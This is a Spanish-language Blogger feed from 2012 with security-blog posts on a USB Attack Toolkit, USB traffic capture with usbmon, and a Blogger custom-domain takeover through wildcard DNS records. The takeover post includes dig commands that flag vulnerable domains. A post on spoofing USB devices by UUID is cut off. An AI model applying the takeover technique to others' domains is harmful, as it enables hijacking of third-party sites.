<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-804415805869422167</id><updated>2012-05-30T07:09:41.682-05:00</updated><category term='angelus inflectum'/><category term='frikismo'/><category term='programacion'/><category term='bluetooth'/><category term='hardware hacking'/><category term='legislación legislacion ley articulos'/><category term='Vulnerabilidades web'/><category term='bluetooth telefonia seguridad'/><category term='concursos'/><category term='seguridad'/><title type='text'>Los Caballeros</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default?start-index=26&amp;max-results=25'/><author><name>Angelus Inflectum</name><uri>http://www.blogger.com/profile/16740949876182371236</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://1.bp.blogspot.com/_LsUrKT8pPno/TMjmanxcuuI/AAAAAAAAAL8/W0KPR2g95Wg/S220/darkangeloc54-524149.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>66</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-5657739133144249905</id><published>2012-05-21T12:28:00.001-05:00</published><updated>2012-05-21T12:29:17.349-05:00</updated><title type='text'>Conferencia UAT - USB Attack Toolkit - GuadalajaraCON</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;b&gt;La conferencia UAT (USB Attack Toolkit) en GuadalajaraCON por @Xianur0:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" align="center" src="http://www.youtube.com/embed/h4HbO0wGSi4" width="420"&gt;&lt;/iframe&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-5657739133144249905?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/5657739133144249905/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=5657739133144249905' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/5657739133144249905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/5657739133144249905'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2012/05/conferencia-uat-usb-attack-toolkit.html' title='Conferencia UAT - USB Attack Toolkit - GuadalajaraCON'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/h4HbO0wGSi4/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-5724536353419014715</id><published>2012-05-09T13:18:00.001-05:00</published><updated>2012-05-09T13:23:03.848-05:00</updated><title type='text'>UAT - Report</title><content type='html'>Me di cuenta de que en ningún lugar expliqué como utilizar la herramienta &lt;a href="http://loscaballeros.mx/UAT/report/" target="_blank"&gt;Report&lt;/a&gt; que integro en el kit UAT, por lo que escribo este post para explicar un poco ;)..&lt;br /&gt;&lt;br /&gt;Para cargar un log es tan simple como arrastrarlo al campo correspondiente:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-tWQynXLk-9Y/T6qGRPT4_VI/AAAAAAAAAN0/y_LCfMU3MqA/s1600/uat-report1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="177" src="http://1.bp.blogspot.com/-tWQynXLk-9Y/T6qGRPT4_VI/AAAAAAAAAN0/y_LCfMU3MqA/s320/uat-report1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Podemos utilizar los filtros que nos genera de forma automática... también podemos trabajar con varios dispositivos al mismo tiempo :P&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-xeYQV44FCkU/T6qGRo2JxJI/AAAAAAAAAOA/u4UbSKZE84M/s1600/uat-report2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="179" src="http://4.bp.blogspot.com/-xeYQV44FCkU/T6qGRo2JxJI/AAAAAAAAAOA/u4UbSKZE84M/s320/uat-report2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Tenemos algunas teclas (click en el campo y luego la tecla) que nos permitirán hacer las cosas más fácilmente. Por ejemplo la tecla "i", nos hace un analisis completo del contenido del campo... lo cual es muy útil para entender que es lo que hace una trama :P&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/--9DbJrISeFA/T6qGSuqQkPI/AAAAAAAAAOM/oT8nat_UJ-8/s1600/uat-report3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="122" src="http://3.bp.blogspot.com/--9DbJrISeFA/T6qGSuqQkPI/AAAAAAAAAOM/oT8nat_UJ-8/s320/uat-report3.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Tenemos también las teclas "x" y "c" que nos permiten cambiar la forma en que se muestra el contenido de los campos, por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" height="138" src="http://2.bp.blogspot.com/-CBfdGAlfcXg/T6qGT1BSqCI/AAAAAAAAAOY/uw2R26CGyjU/s320/uat-report4.jpg" width="320" /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Tenemos herramientas raras pero útiles, como un editor hexadecimal hecho completamente en html5 y JS :D (tecla "e"):&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" height="88" src="http://4.bp.blogspot.com/-k-OiooamTQQ/T6qGgXXKyFI/AAAAAAAAAOw/EbWHP41u7_4/s320/uat-report5.jpg" width="320" /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Hay también herramientas (los iconos que aparecen arriba de los campos de texto) para analizar las tramas:&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;b&gt;Clon hijo (trama repetida):&lt;/b&gt; &lt;img border="0" src="http://3.bp.blogspot.com/-oD0599KInyQ/T6qyH_RHvzI/AAAAAAAAAPc/mr5q-E9-s8k/s1600/sheep.png" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;b&gt;Clon Padre (Primera aparición de esta trama):&lt;/b&gt; &lt;img border="0" src="http://4.bp.blogspot.com/-NSY8-mP-auM/T6qyIEeEF1I/AAAAAAAAAPk/s4WZgvqCmWQ/s1600/sheep2.png" /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;b&gt;Borrar similares: &lt;/b&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-tpY2TZf7o0k/T6qyG4Fz5QI/AAAAAAAAAPE/6L2lY87uZYY/s1600/delete-c.png" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;b&gt;Borrar clones: &lt;img border="0" src="http://3.bp.blogspot.com/-36OGrYZbr8g/T6qyHVy3WZI/AAAAAAAAAPM/Ykd2yydO5pw/s1600/delete-d.png" /&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;b&gt;Listar similares y clones: &lt;img border="0" src="http://2.bp.blogspot.com/-ZyaTh1G0ROg/T6qyHoUuymI/AAAAAAAAAPU/0cj2Au6oJFE/s1600/equal.png" /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;b&gt;Sin clones o similares:&lt;a href="http://4.bp.blogspot.com/-saq-dIHbPpw/T6qyGL6ITxI/AAAAAAAAAO8/NNUzx2Im8x4/s1600/alone.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-saq-dIHbPpw/T6qyGL6ITxI/AAAAAAAAAO8/NNUzx2Im8x4/s1600/alone.jpg" /&gt;&amp;nbsp;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;b&gt;De momento son algunas de las cosas que nos permite hacer esta herramienta... pero agregaremos más cosas pronto :)&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;b&gt;Saludos!&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-5724536353419014715?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/5724536353419014715/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=5724536353419014715' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/5724536353419014715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/5724536353419014715'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2012/05/uat-report.html' title='UAT - Report'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-tWQynXLk-9Y/T6qGRPT4_VI/AAAAAAAAAN0/y_LCfMU3MqA/s72-c/uat-report1.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-2576987492101413494</id><published>2012-04-25T17:23:00.002-05:00</published><updated>2012-04-25T17:26:04.152-05:00</updated><title type='text'>Cómo puedo colaborar con el proyecto UAT?</title><content type='html'>&lt;img src="http://loscaballeros.mx/UAT/common/logo.png" /&gt; &lt;b&gt;Web del proyecto: &lt;/b&gt;&lt;a href="http://loscaballeros.mx/UAT/"&gt;http://loscaballeros.mx/UAT/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Cómo puedo colaborar con el proyecto UAT?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Es bastante simple, tenemos 3 modalidades para poder participar en el proyecto: &lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. Escribiendo documentación. &lt;br /&gt;&lt;/b&gt;A los desarrolladores nunca nos ha gustado escribir documentación, pero es una parte muy importante, por lo que necesitamos ayuda en esa parte (escribiendo papers y documentando las diferentes tools). &lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. Enviando logs. &lt;br /&gt;&lt;/b&gt;¿Por qué es importante tener un repositorio de logs (archivos uat)? Spoofear o analizar dispositivos sin tenerlo físicamente :D... es decir pueden colaborar capturando la comunicación de cualquier dispositivo usb que tengan a la mano, ¿Cómo se hace esto? &lt;br /&gt;&lt;br /&gt;Necesitamos una computadora linux, tools.py (core) y usb-analyzer.py &lt;br /&gt;&lt;br /&gt;&lt;b&gt;El procedimiento es realmente simple:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Levantamos USBMon (USB-Analyzer captura el trafico de &lt;b&gt;usbmon&lt;/b&gt; utilizando &lt;b&gt;pypcap&lt;/b&gt;). &lt;br /&gt;&lt;br /&gt;&lt;b&gt;linux-7nli:/home/xianur0/arduinohack/UAT # &lt;/b&gt;modprobe usbmon &lt;br /&gt;WARNING: All config files need .conf: /etc/modprobe.d/uisp_parport, it will be ignored in a future release. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Buscamos los valores del dispositivo a analizar:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;linux-7nli:/home/xianur0/arduinohack/UAT # &lt;/b&gt;lsusb &lt;br /&gt;Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub &lt;br /&gt;Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub &lt;br /&gt;Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub &lt;br /&gt;Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub &lt;br /&gt;Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub &lt;br /&gt;Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub &lt;br /&gt;Bus 002 Device 003: ID 0c45:62c0 Microdia Sonix USB 2.0 Camera &lt;br /&gt;Bus 005 Device 002: ID 0930:0200 Toshiba Corp.  &lt;br /&gt;Bus 005 Device 003: ID 08ff:1600 AuthenTec, Inc. AES1600 &lt;br /&gt;&lt;br /&gt;En mi caso capturaré el "&lt;b&gt;AuthenTec, Inc. AES1600&lt;/b&gt;", en esta parte es recomendable descargar el driver de kernel en caso de que lo tengamos. &lt;br /&gt;&lt;br /&gt;Ahora vemos la ayuda (esta parte obviamente es opcional xD). &lt;br /&gt;&lt;br /&gt;&lt;b&gt;linux-7nli:/home/xianur0/arduinohack/UAT # &lt;/b&gt;python usb-analyzer.py &lt;br /&gt;Use: usb-analyzer.py [args] &lt;br /&gt;--sk=[1|0] (Skip duplicate entries. Default: 0) &lt;br /&gt;--skerror=[1|0] (Skip -ENOENT, Broken Pipe and response==null. Default: 0) &lt;br /&gt;--bus=[bus number] &lt;br /&gt;--vendor=[vendor id] &lt;br /&gt;--device=[device id] &lt;br /&gt;--file=[out-file] &lt;br /&gt;--stop=[max resps. (numeric)] &lt;br /&gt;--debug=[0-9] &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Iniciamos con los argumentos y dejamos a la espera de que el dispositivo se identifique (necesitamos desconectar el dispositivo antes o no tener cargado el driver). &lt;br /&gt;&lt;br /&gt;&lt;b&gt;linux-7nli:/home/xianur0/arduinohack/UAT # &lt;/b&gt;python usb-analyzer.py --vendor=08ff --device=1600 --file=AuthenTec &lt;br /&gt;[-] Checking USBMon... &lt;br /&gt;1 &lt;br /&gt;2 &lt;br /&gt;3 &lt;br /&gt;4 &lt;br /&gt;5 &lt;br /&gt;6 &lt;br /&gt;0 &lt;br /&gt;[-] 7 buses &lt;br /&gt;&lt;br /&gt;Waiting. Bus 0... &lt;br /&gt;&lt;br /&gt;Ahora en este paso es conectar el dispositivo, cargar el driver o pasar el dispositivo a una maquina virtual (y &lt;b&gt;capturar la comunicación de la virtual con el dispositivo&lt;/b&gt; ;)... esto es realmente útil en algunos casos :D) &lt;br /&gt;Para terminar únicamente necesitamos presionar CTRL + C y luego: esperar que el dispositivo envíe un ultimo dato o desconectar el dispositivo. Con esto tenemos generado el archivo &lt;b&gt;.uat&lt;/b&gt; :D... luego pueden enviármelo a mi correo y yo lo subo al sitio (agregando los respectivos créditos). &lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. Desarrollando. &lt;br /&gt;&lt;/b&gt;Es un poco complicado para un solo desarrollador mantener un proyecto tan grande como lo es UAT, por lo cual se necesita armar un equipo para mantener el desarrollo constante del proyecto :D. &lt;br /&gt;&lt;br /&gt;Cualquier duda o comentario: xianur0.null[at]gmail.com (funciona como correo, gtalk y messenger xD). &lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Saludos!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-2576987492101413494?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/2576987492101413494/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=2576987492101413494' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/2576987492101413494'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/2576987492101413494'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2012/04/como-puedo-colaborar-con-el-proyecto.html' title='Cómo puedo colaborar con el proyecto UAT?'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-1753202618026063346</id><published>2012-04-04T19:10:00.003-05:00</published><updated>2012-04-04T19:34:35.983-05:00</updated><title type='text'>Blogger Fail</title><content type='html'>Este creo que es el "bug" más tonto que he visto en mi vida xD... en fin... se ve más o menos así:&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-1fou0_NMZsU/T3zjJ147Q5I/AAAAAAAAAMQ/8VTo6afd3Mo/s1600/blogger%2Bfail.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 93px;" src="http://1.bp.blogspot.com/-1fou0_NMZsU/T3zjJ147Q5I/AAAAAAAAAMQ/8VTo6afd3Mo/s320/blogger%2Bfail.jpg" alt="" id="BLOGGER_PHOTO_ID_5727702584332600210" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cuando configuramos nuestro bloggler con un dominio se tiene que crear un registro DNS:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;;; ANSWER SECTION:&lt;/span&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;web.com.    10800    IN    CNAME    ghs.google.com.&lt;/span&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;ghs.google.com.        81359    IN    CNAME    ghs.l.google.com.&lt;/span&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;ghs.l.google.com.    280    IN    A    74.125.128.121&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Es decir configuramos un &lt;span class="st"&gt;nombre canónico (CNAME) lo cual en términos más simples es como un apodo, una persona (un servidor) puede tener muchos apodos (puede manejar muchos dominios) aun teniendo un nombre, en este caso web.com lo estamos dando como un apodo a &lt;/span&gt;ghs.google.com (el cual sería el "nombre real" del servidor) lo cual quiere decir que cuando intente resolver web.com va a resolver ghs.google.com.&lt;br /&gt;&lt;br /&gt;Ahora el detalle del "bug" (si le quieren llamar así, yo creo que es más un #EPICFAIL) es que blogger te pregunta si redirecciona la raíz del subdominio que configuramos (el cual puede existir o no :P)... al redireccionar la raíz el CNAME está intacto y la IP es la misma... pero blogger va a intentar cargar (por ejemplo en mi caso) xianur0.web.com en lugar del blog real (que no debería de existir, por lo que queda bloqueado el acceso al blog)... ahora algo interesante respecto a &lt;span style="font-weight: bold;"&gt;configuraciones DNS&lt;/span&gt;:&lt;br /&gt;Existe algo llamado &lt;span style="font-weight: bold;"&gt;Wildcard DNS record&lt;/span&gt;, lo cual es poner un asterisco como subdominio, tipo: &lt;span style="font-weight: bold;"&gt;*.web.com&lt;/span&gt;, esto es todos los subdominios de web.com van a apuntar a un mismo registro DNS... por ejemplo si tenemos un wildcard con todos los subs apuntando al mismo lugar... podríamos "generar" subdominios falsos... de este modo con configurar nuestro blog con: xianur0.web.com y redireccionar la raíz blogger cargaría nuestro blog en lugar del real :P&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Cómo detectar que una web es "vulnerable"?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Una forma realmente simple y tonta es:&lt;br style="font-weight: bold;"&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;xianur0@linux-7nli:~&amp;gt;&lt;/span&gt; dig CNAME web.com | grep ghs.google.com &amp;amp;&amp;amp; echo Vulnerable!&lt;br /&gt;web.com.    10800    IN    CNAME    ghs.google.com.&lt;br /&gt;Vulnerable!&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;xianur0@linux-7nli:~&amp;gt; &lt;/span&gt;dig ANY web.com | grep "\*\." &amp;amp;&amp;amp; echo "Muy Vulnerable"&lt;br /&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;;)...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;PD: Este "bug" tiene como 3 años que se reporto... y aun anda ahí xD&lt;br /&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;Ahora pueden reír :D&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-1753202618026063346?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/1753202618026063346/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=1753202618026063346' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/1753202618026063346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/1753202618026063346'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2012/04/blogger-fail.html' title='Blogger Fail'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-1fou0_NMZsU/T3zjJ147Q5I/AAAAAAAAAMQ/8VTo6afd3Mo/s72-c/blogger%2Bfail.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-5270739019473224517</id><published>2012-04-01T13:51:00.005-05:00</published><updated>2012-04-02T02:00:23.699-05:00</updated><title type='text'>UUID Hacking</title><content type='html'>Está es una técnica un poco "extraña" de "hacking", la idea de este ataque se basa en atacar el funcionamiento de la pila USB para suplantar un dispositivo por medio de un UUID Reemplazado.&lt;br /&gt;&lt;br /&gt;"Un &lt;b&gt;Identificador universalmente único&lt;/b&gt; (&lt;i&gt;universally unique identifier&lt;/i&gt; o &lt;i&gt;UUID&lt;/i&gt;) es un identificador estándar usado en el desarrollo de &lt;a href="http://es.wikipedia.org/wiki/Software" title="Software"&gt;software&lt;/a&gt;"&lt;br /&gt;&lt;br /&gt;"Un &lt;i&gt;UUID&lt;/i&gt; es un número de 16-&lt;a href="http://es.wikipedia.org/wiki/Byte" title="Byte"&gt;byte&lt;/a&gt; (128-&lt;a href="http://es.wikipedia.org/wiki/Bit" title="Bit"&gt;bit&lt;/a&gt;). El número teórico de posibles &lt;i&gt;UUID&lt;/i&gt; es entonces de unos 3 × 10&lt;sup&gt;38&lt;/sup&gt;. En su &lt;a href="http://es.wikipedia.org/wiki/Forma_can%C3%B3nica" title="Forma canónica" class="mw-redirect"&gt;forma canónica&lt;/a&gt;, un UUID consiste de 32 dígitos &lt;a href="http://es.wikipedia.org/w/index.php?title=Hexadecimales&amp;amp;action=edit&amp;amp;redlink=1" class="new" title="Hexadecimales (aún no redactado)"&gt;hexadecimales&lt;/a&gt;, mostrados en cinco grupos separados por guiones, de la forma &lt;code&gt;8-4-4-4-12&lt;/code&gt; para un total de 36 caracteres (32 dígitos y 4 guiones). Por ejemplo: &lt;dl&gt;&lt;dd&gt;&lt;code&gt;&lt;b&gt;550e8400-e29b-41d4-a716-446655440000&lt;/b&gt;&lt;/code&gt;"&lt;br /&gt;&lt;/dd&gt;&lt;/dl&gt;&lt;br /&gt;Gracias amada wikipedia, no lo podría haber dicho mejor ;)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Cómo funciona el montado de devices en linux con UUID?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;linux-7nli:/home/xianur0 #&lt;/span&gt; ls -alh /dev/disk/by-uuid/&lt;br /&gt;total 0&lt;br /&gt;drwxr-xr-x 2 root root 100 abr  1 11:07 .&lt;br /&gt;drwxr-xr-x 5 root root 100 abr  1 11:01 ..&lt;br /&gt;lrwxrwxrwx 1 root root  10 abr  1 11:07 &lt;span style="font-weight: bold;"&gt;471f4811-2b4d-421f-8883-2bd5f60b7877 -&amp;gt; ../../dm-1&lt;/span&gt;&lt;br /&gt;lrwxrwxrwx 1 root root  10 abr  1 11:07 &lt;span style="font-weight: bold;"&gt;58ac1371-1dd9-4996-9be4-366f4758551c -&amp;gt; ../../sda3&lt;/span&gt;&lt;br /&gt;lrwxrwxrwx 1 root root  10 abr  1 11:02 &lt;span style="font-weight: bold;"&gt;8c787ac4-88c4-4b85-9c07-7d88449c37e1 -&amp;gt; ../../sda2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Al hacer un &lt;span style="font-weight: bold;"&gt;ls&lt;/span&gt; a la lista de discos por uuid, notaremos que hacen un enlace simbólico al dispositivo, agregamos una memoria usb cualquiera:&lt;br /&gt;&lt;br /&gt;lrwxrwxrwx 1 root root  10 abr  1 13:54 &lt;span style="font-weight: bold;"&gt;B4FE-5315 -&amp;gt; ../../sdb4&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Notaremos que el uuid 